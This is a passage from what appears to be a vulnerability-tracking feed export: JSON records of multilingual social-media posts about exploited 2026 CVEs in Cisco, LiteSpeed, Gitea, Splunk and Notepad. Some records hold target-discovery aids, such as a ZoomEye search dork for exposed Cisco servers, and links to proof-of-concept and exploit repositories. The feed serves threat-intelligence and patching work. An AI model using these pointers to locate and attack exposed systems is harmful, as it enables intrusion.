\u7c73\u5f53\u5c40\n\n\u7c73\u5f53\u5c40\u306f\u3001\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u74b0\u5883\u5411\u3051\u30d7\u30e9\u30b0\u30a4\u30f3\u3084Cisco\u306eSD-WAN\u7ba1\u7406\u88fd\u54c1\u306b\u5224\u660e\u3057\u305f\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u3057\u3066\u6ce8\u610f\u559a\u8d77\u3092\u884c\u3063\u305f\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670815\u65e5\u3001\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u30782\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-54420\u300d\u300cCVE-2026-20262\u300d\u3092\u8ffd\u52a0\u3057\u305f\u3002\n\n\u300cCVE-2026-54420\u300d\u306f\u3001\u300cLiteSpeed Web Server\u300d\u306e\u5229\u7528\u8005\u5411\u3051\u306b\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b\u300cLiteSpeed cPanel Plugin\u300d\u306b\u660e\u3089\u304b...", "creation_timestamp": "2026-07-11T23:48:21.252678Z"}, {"uuid": "093f26c2-b35d-49df-94ce-a7f6db18ffa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/2769", "content": "\ud83d\udea8 CVE-2026-20230: Cisco Unified Communications Manager and Cisco Unified Communications Manager Session Management Edition Server-Side Request Forgery (SSRF)\n\nCritical Vulnerability Alert!\nCisco Unified Communications Manager is affected by CVE-2026-20230.\n\nFull Vulnerability Details & Analysis at DarkEye:\n\ud83d\udd17 https://darkeye.org/vuln/cve/CVE-2026-20230\n\n\ud83d\udd0d Identify Targets via ZoomEye:\n\nFilter: vul.cve=\"CVE-2026-20230\"\nSearch Dork: app=\"Cisco Unified Communications Manager\"\nExposure: 5k instances identified globally.\n\nZoomEye Search Link:\n\ud83d\udc49 https://www.zoomeye.ai/searchResult?q=YXBwPSJDaXNjbyBVbmlmaWVkIENvbW11bmljYXRpb25zIE1hbmFnZXIi&t=all&utm_source=telegram&utm_medium=community&utm_campaign=cve_ops_20260626", "creation_timestamp": "2026-07-12T00:00:53.350751Z"}, {"uuid": "fee186d6-e8be-4357-9e79-b2dc06b0a601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqfvzs37x22i", "content": "\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001Cisco Catalyst\u304a\u3088\u3073LiteSpeed cPanel\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u305f\u3002\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001  Cisco Catalyst\u304a\u3088\u3073LiteSpeed cPanel\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u8106\u5f31\u6027\u3092\u3001\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u305f\u3002\n\n\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3055\u308c\u305f2\u3064\u306e\u6b20\u9665\u306f\u4ee5\u4e0b\u306e\u3068\u304a\u308a\u3067\u3059\u3002\n\nCVE-2026-20262  \uff08CVSS\u30b9\u30b3\u30a26.5\uff09Cisco Catalyst SD-WAN Man...", "creation_timestamp": "2026-07-12T00:24:35.217247Z"}, {"uuid": "2a83aa91-5402-4b34-ae05-ba77e0f19229", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergiocuellar.bsky.social/post/3mqfwvcfj5x2s", "content": "\ud83d\udea8 Threat actors exploited zero-day vulnerability CVE-2026-20245 in Cisco Catalyst SD-WAN to escalate privileges, worsening cybersecurity risks. #Cybersecurity #ZeroDay #SDWAN", "creation_timestamp": "2026-07-12T00:39:57.827167Z"}, {"uuid": "5fb2db54-312b-4bc9-9ccc-4e8e89e303bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqfxfmq3es2i", "content": "CVE-2026-20262: CISCO Catalyst SD-WAN\u306e\u8106\u5f31\u6027\u304c\u6a19\u7684\u578b\u653b\u6483\u306e\u5bfe\u8c61\u3068\u306a\u3063\u3066\u3044\u308b\n\nCisco\u306f\u3001Catalyst SD-WAN Manager\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u66f8\u304d\u8fbc\u307f\u306e\u8106\u5f31\u6027\u3067\u3042\u308bCVE-2026-20262\u304c\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002\n\nCVE-2026-20262\uff08CVSS\u30b9\u30b3\u30a26.5\uff09\u306f\u3001Cisco Catalyst SD-WAN Manager\u306eWeb\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306b\u304a\u3051\u308b\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u66f8\u304d\u8fbc\u307f\u306e\u8106\u5f31\u6027\u3067\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u6642\u306b\u30e6\u30fc\u30b6\u30fc\u304c\u5165\u529b\u3057\u305f\u30c7\u30fc\u30bf\u306e\u691c\u8a3c\u304c\u4e0d\u5341\u5206\u306a\u305f\u3081\u306b\u767a\u751f\u3057\u3001\u8a8d\u8a3c\u6e08\u307f\u306e\u30ea\u30e2\u30fc\u30c8\u653b...", "creation_timestamp": "2026-07-12T00:49:07.254630Z"}, {"uuid": "02d7d44a-5cbd-4295-9628-214fac417ad6", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/45dd3aae-bfd3-4121-b032-178f7c6f2b4f", "content": "", "creation_timestamp": "2026-07-12T01:01:42.915527Z"}, {"uuid": "c181b1e9-f013-4b57-ba8b-674c29c47298", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20315", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mti5vqbfb22u", "content": "Cisco patches Secure Workload flaws CVE-2026-20315 and CVE-2026-20317, an authentication bypass and privilege escalation pair scoring CVSS 10. Upgrade now.\n\n#Cisco #CVE #AuthenticationBypass #PrivilegeEscalation #Vulnerability #InfoSec #PatchNow", "creation_timestamp": "2026-08-20T02:06:23.276682Z"}, {"uuid": "1da42507-7a81-4a57-b694-7ef6f574f311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20317", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mti5vqbfb22u", "content": "Cisco patches Secure Workload flaws CVE-2026-20315 and CVE-2026-20317, an authentication bypass and privilege escalation pair scoring CVSS 10. Upgrade now.\n\n#Cisco #CVE #AuthenticationBypass #PrivilegeEscalation #Vulnerability #InfoSec #PatchNow", "creation_timestamp": "2026-08-20T02:06:23.326612Z"}, {"uuid": "f06cf633-2cbd-4505-acb8-c4b6244eed77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88542", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20230-Scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HalilDeniz\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-12 19:50:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCisco Unified Communications Manager (Unified CM) deployments affected by CVE-2026-20230.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T06:00:04.739251Z"}, {"uuid": "e5356da9-8e5e-4aca-a8cd-30a58189702f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88224", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20245---Cisco-SD-WAN-Privilege-Escalation-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fevar54\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-10 15:52:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n**Este c\u00f3digo es SOLO para fines educativos y pruebas de seguridad autorizadas.**\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T07:00:04.019254Z"}, {"uuid": "e2f894d6-b984-49cf-8eee-cbe5c0265051", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3223", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u044c\u044e Cisco Catalyst SD-WAN Manager \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0438\u043b\u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root\n\nBDU:2026-07857\nCVE-2026-20245\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-privesc-4uxFrdzx", "creation_timestamp": "2026-07-12T09:01:47.468067Z"}, {"uuid": "6d9618ea-5ad9-4b56-b023-a9aa9d42c114", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20266", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mti6i3n3fg2e", "content": "Critical OS command injection in Splunk AI Toolkit (CVE-2026-20266, CVSS 9.1) lets admins run arbitrary host commands. Patch to 5.7.4 now.\n\n#Splunk #CVE #OSCommandInjection #Vulnerability #InfoSec #PatchNow #AISecurity", "creation_timestamp": "2026-08-20T02:16:38.973022Z"}, {"uuid": "2696d66c-aeec-4aee-a565-f3eb82499b28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/cKure/16541", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Zero-Day Exploitation of Vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN Manager. \n\nhttps://cloud.google.com/blog/topics/threat-intelligence/zero-day-exploitation-cisco-catalyst-sd-wan-manager", "creation_timestamp": "2026-07-12T13:00:04.153769Z"}, {"uuid": "86aeec4b-d493-40fa-a8c1-6dc853d8491b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116907370041051552", "content": "\ud83d\udcf0 Critical Gitea Docker Flaw Actively Exploited for Unauthorized Access\n\ud83d\udd25 CRITICAL Gitea flaw (CVE-2026-20896, CVSS 9.8) is actively exploited! Insecure default in Docker images allows unauthenticated attackers to become admin. Update immediately or harden your proxy config! #Gitea #Vulnerability #DevSecOps\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-gitea-docker-flaw-actively-exploited-for-unauthorized-access/?utm_source=mastodon&utm_me\u2026", "creation_timestamp": "2026-07-12T14:01:40.179846Z"}, {"uuid": "055bbba1-dfdb-4afd-b531-2a3f1c9b5851", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mqhdqcdr762h", "content": "\ud83d\udd25 CRITICAL Gitea flaw (CVE-2026-20896, CVSS 9.8) is actively exploited! Insecure default in Docker images allows unauthenticated attackers to become admin. Update immediately or harden your proxy config! #Gitea #Vulnerability #DevSecOps\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-07-12T14:02:28.137268Z"}, {"uuid": "2cb99295-c455-4aff-b2ae-aff16361266e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mqhina72qx2p", "content": "Threat actors target a recent critical flaw in Gitea Docker images (CVE-2026-20896, CVSS 9.8). The bug allows unauthenticated clients to elevate privileges via the X-WEBAUTH-USER header.", "creation_timestamp": "2026-07-12T15:30:14.161615Z"}, {"uuid": "3fa38e55-f2c4-4692-981e-f9fffa54c551", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/securixy_kz/1318", "content": "\ud83d\ude06 CVE\u20112026\u201120841 -  Notepad \u0441 RCE, \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e?\n\n\u0421\u0443\u0442\u044c: \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\n\u0421\u0442\u0430\u0442\u0443\u0441: \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e Microsoft, CVE \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\nNotepad Version < 11.2510\n\n\u26a0\ufe0f \u0420\u0438\u0441\u043a\u0438\n\u0417\u0430\u043f\u0443\u0441\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 Notepad\n\u0412\u0435\u043a\u0442\u043e\u0440 \u0434\u043b\u044f \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b\n\n\ud83d\udee1\ufe0f \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Notepad \u0447\u0435\u0440\u0435\u0437 Microsoft Store \u0438\u043b\u0438 Windows Update\n2. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\n3. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438 \u0441\u0441\u044b\u043b\u043e\u043a\n\n\ud83d\udd17 CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841\n\ud83d\udd17 PoC: https://github.com/BTtea/CVE-2026-20841-PoC/blob/main/README.md", "creation_timestamp": "2026-07-12T22:00:05.949529Z"}, {"uuid": "c58b5e4b-6a19-4f7c-93a7-2485d1a14fa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20030", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mti6xkiyyv2u", "content": "Cisco patches a Crosswork SQL injection flaw, CVE-2026-20030, rated CVSS 10.0. A BroadWorks XXE bug (CVE-2026-20320) also gets a fix.\n\n#Cisco #CVE #SQLInjection #Crosswork #BroadWorks #XXE #Vulnerability #InfoSec", "creation_timestamp": "2026-08-20T02:25:18.002486Z"}, {"uuid": "0d99f0d3-9a38-44c7-89b0-766fd0450856", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20320", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mti6xkiyyv2u", "content": "Cisco patches a Crosswork SQL injection flaw, CVE-2026-20030, rated CVSS 10.0. A BroadWorks XXE bug (CVE-2026-20320) also gets a fix.\n\n#Cisco #CVE #SQLInjection #Crosswork #BroadWorks #XXE #Vulnerability #InfoSec", "creation_timestamp": "2026-08-20T02:25:18.059754Z"}, {"uuid": "f00c2c12-770c-4880-b70b-d2ae5f330d05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/1318", "content": "\ud83d\ude06 CVE\u20112026\u201120841 -  Notepad \u0441 RCE, \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e?\n\n\u0421\u0443\u0442\u044c: \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\n\u0421\u0442\u0430\u0442\u0443\u0441: \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e Microsoft, CVE \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\nNotepad Version < 11.2510\n\n\u26a0\ufe0f \u0420\u0438\u0441\u043a\u0438\n\u0417\u0430\u043f\u0443\u0441\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 Notepad\n\u0412\u0435\u043a\u0442\u043e\u0440 \u0434\u043b\u044f \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b\n\n\ud83d\udee1\ufe0f \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Notepad \u0447\u0435\u0440\u0435\u0437 Microsoft Store \u0438\u043b\u0438 Windows Update\n2. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\n3. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438 \u0441\u0441\u044b\u043b\u043e\u043a\n\n\ud83d\udd17 CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841\n\ud83d\udd17 PoC: https://github.com/BTtea/CVE-2026-20841-PoC/blob/main/README.md", "creation_timestamp": "2026-07-13T00:00:16.539319Z"}, {"uuid": "70c142db-b5c3-4668-9dcf-2d53b6016ad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/cKure/16541", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Zero-Day Exploitation of Vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN Manager. \n\nhttps://cloud.google.com/blog/topics/threat-intelligence/zero-day-exploitation-cisco-catalyst-sd-wan-manager", "creation_timestamp": "2026-07-13T00:00:44.211192Z"}, {"uuid": "59e40a54-58dd-441d-a5be-a01e2923f200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3223", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u044c\u044e Cisco Catalyst SD-WAN Manager \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0438\u043b\u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root\n\nBDU:2026-07857\nCVE-2026-20245\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-privesc-4uxFrdzx", "creation_timestamp": "2026-07-13T00:00:47.133294Z"}, {"uuid": 